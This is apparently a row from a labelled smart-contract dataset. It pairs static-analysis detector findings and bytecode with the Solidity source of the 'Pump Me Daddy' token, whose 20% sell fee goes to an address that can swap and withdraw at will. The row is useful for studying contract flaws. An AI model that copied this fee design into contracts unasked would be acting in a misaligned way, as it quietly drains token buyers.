916600160a060020a0392909216919091179055565b600080841180156115dd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156116025750600160a060020a0385166000908152600a602052604090205460ff16155b80156116255750600160a060020a0333166000908152600b602052604090205442115b80156116485750600160a060020a0385166000908152600b602052604090205442115b151561165357600080fd5b61165c85611925565b156118c3578361166b33610aeb565b101561167657600080fd5b61168861168233610aeb565b856118d9565b600160a060020a0333166000908152600960205260409020556116b36116ad86610aeb565b856118eb565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b602083106117015780518252601f1990920191602091820191016116e2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561179257808201518382015260200161177a565b50505050905090810190601f1680156117bf5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156117e357fe5b826040518082805190602001908083835b602083106118135780518252601f1990920191602091820191016117f4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a35060016118d1565b6118ce858585611b53565b90505b949350505050565b6000828211156118e557fe5b50900390565b6000828201838110156110f657fe5b60008083151561190d576000915061100f565b5082820282848281151561191d57fe5b04146110f657fe5b6000903b1190565b6000808361193a33610aeb565b101561194557600080fd5b61195161168233610aeb565b600160a060020a0333166000908152600960205260409020556119766116ad86610aeb565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a0f5780820151838201526020016119f7565b50505050905090810190601f168015611a3c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5c57600080fd5b6102c65a03f11515611a6d57600080fd5b505050826040518082805190602001908083835b60208310611aa05780518252601f199092019160209182019101611a81565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3506001949350505050565b600082611b5f33610aeb565b1015611b6a57600080fd5b611b7c611b7633610aeb565b846118d9565b600160a060020a033316600090815260096020526040902055611ba7611ba185610aeb565b846118eb565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b60208310611bf45780518252601f199092019160209182019101611bd5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611cb98339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582028dd1ee1ae228ab518d05f91a41b95198ed7a92c88e56e304254812db90eadd60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,354 |
0x6fa363C767Acca6648e35C4614A48DeD1FaeeaF4
|
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PMD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Pump Me Daddy";
string private constant _symbol = unicode"PMD";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 5;
uint256 private _feeRate = 6;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 5;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 20;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 10000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (180 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b6040516101679190612e63565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612981565b61054a565b6040516101a49190612e48565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf9190613045565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612932565b610578565b60405161020c9190612e48565b60405180910390f35b34801561022157600080fd5b5061022a610651565b6040516102379190613045565b60405180910390f35b34801561024c57600080fd5b50610255610661565b60405161026291906130ba565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612a0f565b61066a565b005b3480156102a057600080fd5b506102bb60048036038101906102b691906129bd565b610751565b005b3480156102c957600080fd5b506102e460048036038101906102df91906128a4565b610849565b6040516102f19190613045565b60405180910390f35b34801561030657600080fd5b5061030f6108a0565b005b34801561031d57600080fd5b50610338600480360381019061033391906128a4565b610912565b6040516103459190613045565b60405180910390f35b34801561035a57600080fd5b50610363610963565b005b34801561037157600080fd5b5061037a610ab6565b6040516103879190612d7a565b60405180910390f35b34801561039c57600080fd5b506103a5610adf565b6040516103b29190612e63565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612981565b610b1c565b6040516103ef9190612e48565b60405180910390f35b34801561040457600080fd5b5061040d610b3a565b60405161041a9190612e48565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906128a4565b610b51565b6040516104579190613045565b60405180910390f35b34801561046c57600080fd5b50610475610ba8565b005b34801561048357600080fd5b5061048c610c22565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b09190613045565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db91906128f6565b610d19565b6040516104ed9190613045565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600d81526020017f50756d70204d6520446164647900000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610585848484611483565b610646846105916112b0565b6106418560405180606001604052806028815260200161372260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f76112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc79092919063ffffffff16565b6112b8565b600190509392505050565b600061065c30610912565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ab6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cb57600080fd5b6033811061070e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070590612f25565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b546040516107469190613045565b60405180910390a150565b6107596112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dd90612f85565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff1660405161083e9190612e48565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610899919061320b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e16112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090157600080fd5b600047905061090f81611d2b565b50565b600061095c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d97565b9050919050565b61096b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ef90612f85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f504d440000000000000000000000000000000000000000000000000000000000815250905090565b6000610b30610b296112b0565b8484611483565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba1919061320b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be96112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0957600080fd5b6000610c1430610912565b9050610c1f81611e05565b50565b610c2a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cae90612f85565b60405180910390fd5b6001601360146101000a81548160ff02191690831515021790555060b442610cdf919061312a565b601481905550565b6000610d14601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610912565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90612f85565b60405180910390fd5b601360149054906101000a900460ff1615610e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7c90613005565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5a57600080fd5b505afa158015610f6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9291906128cd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff457600080fd5b505afa158015611008573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102c91906128cd565b6040518363ffffffff1660e01b8152600401611049929190612d95565b602060405180830381600087803b15801561106357600080fd5b505af1158015611077573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109b91906128cd565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112430610912565b60008061112f610ab6565b426040518863ffffffff1660e01b815260040161115196959493929190612de7565b6060604051808303818588803b15801561116a57600080fd5b505af115801561117e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a39190612a38565b505050662386f26fc1000060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190612dbe565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac91906129e6565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90612fe5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f90612ec5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114769190613045565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea90612fc5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a90612e85565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d90612fa5565b60405180910390fd5b6115ae610ab6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0457601360159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f057601360149054906101000a900460ff16611877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186e90613025565b60405180910390fd5b6005600a81905550601360159054906101000a900460ff161561198657426014541115611985576010548111156118ad57600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192890612ee5565b60405180910390fd5b602d4261193e919061312a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff16156119ef57600f426119a8919061312a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006119fb30610912565b9050601360169054906101000a900460ff16158015611a685750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a805750601360149054906101000a900460ff165b15611c02576014600a81905550601360159054906101000a900460ff1615611b275742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1d90612f45565b60405180910390fd5b5b6000811115611be857611b826064611b74600b54611b66601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610912565b6120ff90919063ffffffff16565b61217a90919063ffffffff16565b811115611bde57611bdb6064611bcd600b54611bbf601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610912565b6120ff90919063ffffffff16565b61217a90919063ffffffff16565b90505b611be781611e05565b5b60004790506000811115611c0057611bff47611d2b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cab5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611cb557600090505b611cc1848484846121c4565b50505050565b6000838311158290611d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d069190612e63565b60405180910390fd5b5060008385611d1e919061320b565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d93573d6000803e3d6000fd5b5050565b6000600754821115611dde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd590612ea5565b60405180910390fd5b6000611de86121f1565b9050611dfd818461217a90919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e915781602001602082028036833780820191505090505b5090503081600081518110611ecf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16